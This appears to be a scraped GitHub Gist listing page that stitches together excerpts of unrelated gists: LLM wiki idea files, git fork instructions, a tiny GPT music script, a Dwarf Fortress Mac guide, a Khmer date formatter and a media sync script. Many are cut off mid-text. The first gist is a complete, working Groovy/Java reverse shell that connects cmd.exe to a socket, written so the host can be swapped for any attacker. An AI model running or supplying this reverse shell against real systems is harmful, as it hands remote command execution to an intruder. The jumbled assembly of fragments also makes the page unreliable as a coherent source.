Skip to content

Instantly share code, notes, and snippets.

@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

If you are like me you find yourself cloning a repo, making some proposed changes and then deciding to later contributing back using the GitHub Flow convention. Below is a set of instructions I've developed for myself on how to deal with this scenario and an explanation of why it matters based on jagregory's gist.

To follow GitHub flow you should really have created a fork initially as a public representation of the forked repository and the clone that instead. My understanding is that the typical setup would have your local repository pointing to your fork as origin and the original forked repository as upstream so that you can use these keywords in other git commands.

  1. Clone some repo (you've probably already done this step).

    git clone git@github...some-repo.git
@kaizenman
kaizenman / micromusic.py
Created April 5, 2026 23:33
micromusic
"""
micromusic.py - A GPT that learns to compose melodies.
Pure Python, zero dependencies, one file.
Inspired by @karpathy's microgpt. Same algorithm, different domain.
Instead of learning the pattern of names, it learns the pattern of music
python micromusic.py trains on CPU, prints hallucinated melodies
python micromusic.py --save same + saves MIDI files you can listen to
@kaizenman
@rohitg00
rohitg00 / llm-wiki.md
Last active June 10, 2026 02:00 — forked from karpathy/llm-wiki.md
LLM Wiki v2 — extending Karpathy's LLM Wiki pattern with lessons from building agentmemory

LLM Wiki v2

A pattern for building personal knowledge bases using LLMs. Extended with lessons from building agentmemory 20K+ Stars ⭐️, a persistent memory engine for AI coding agents.

This builds on Andrej Karpathy's original LLM Wiki idea file. Everything in the original still applies. This document adds what we learned running the pattern in production: what breaks at scale, what's missing, and what separates a wiki that stays useful from one that rots.

What the original gets right

The core insight is correct: stop re-deriving, start compiling. RAG retrieves and forgets. A wiki accumulates and compounds. The three-layer architecture (raw sources, wiki, schema) works. The operations (ingest, query, lint) cover the basics. If you haven't read the original, start there.

"""
The most atomic way to train and run inference for a GPT in pure, dependency-free Python.
This file is the complete algorithm.
Everything else is just efficiency.
@karpathy
"""
import os # os.path.exists
import math # math.log, math.exp
# Dwarf Fortress Premium on Mac (Apple Silicon) — Full Setup Guide
**Tested on:** MacBook Pro M1 Pro, macOS Tahoe 26.3, GPTK 3.0
**Last updated:** March 2026
**Result:** Full game with audio, world generation, and gameplay working
The Steam Premium version of Dwarf Fortress has no native Mac build and the devs have cancelled macOS plans. This guide gets it running on Apple Silicon Macs using Apple's Game Porting Toolkit (GPTK) — no CrossOver, no Whisky (discontinued), no paid software needed.
---
@liratanak
liratanak / date-khmer.js
Created May 28, 2016 08:52
Convert to Khmer date format
Date.prototype.getAmPm = function () {
if( this.getHours() >= 12 ) { return 1 }; // pm
return 0; // am
}
var locale = {
en: {
month: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September ', 'October', 'November', 'December'],
ampm: [ 'am', 'pm' ]
},
@acouvreur
acouvreur / sync-unmonitored.sh
Last active June 10, 2026 01:44
Sync deleted files from Radarr/Sonarr
#!/bin/bash
# Find existing files in download/complete that are not in movies or tvshows.
export DOWNLOAD_FOLDER=path/to/downloads
export MOVIES_FOLDER=path/to/movies
export TVSHOWS_FOLDER=path/to/tvshows
findExistingFile() {
file=$(find $MOVIES_FOLDER/ $TVSHOWS_FOLDER/ -samefile "$1")